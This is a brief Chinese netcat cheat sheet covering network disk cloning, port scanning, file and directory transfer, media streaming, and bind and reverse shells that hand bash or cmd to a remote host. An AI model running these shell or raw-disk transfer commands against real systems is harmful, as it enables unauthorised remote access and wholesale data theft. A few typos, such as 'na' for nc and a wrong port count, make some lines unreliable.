nc-远程克隆硬盘
A 接收端: nc -lp 333 | dd of=/dev/sda #用nc开启333监听端口 将收到的数据 写入到sda的硬盘上(前提是挂一块硬盘)
B 发送端: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1 #将sda的硬盘 发送给1.1.1.1 的333端口上 完成后-q(一秒后退出)
nc-端口扫描
nc -nvz 1.1.1.1 1-65535 #nc扫描 1.1.1.1主机的1到65565的端口
nc -vnzu 1.1.1.1 1-1024
nc-文件传输
A: nc -lp 333 > 1.mp4
B: nc -nv 1.1.1.1 333 < 1.mp4 -q 1
或者
A: nc -q 1 -lp 333 < a.mp4
B: na -nv 1.1.1.1 333 > 2.mp4
nc-传输目录
A: tar -cvf -music/ | nc -lp 333 -q 1
B: nc -nv 1.1.1.1 333 | tar -xvf -
nc-流媒体服务
A: cat 1.mp4 | nc -lp 333 #将1.MP4的文件用cat打开通过管道发送给333端口上
B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 - #连接1.1.1.1的333端口将得到的流通过mplayer这个程序打开(缓存大小为3000K:)
nc-远程控制
正向:
A: nc -lp 333 -c bash
B: nc 1.1.1.1 333
反向:
A: nc -lp 333
B: nc 1.1.1.1 333 -c bash
注:windows用户把bash改成cmd;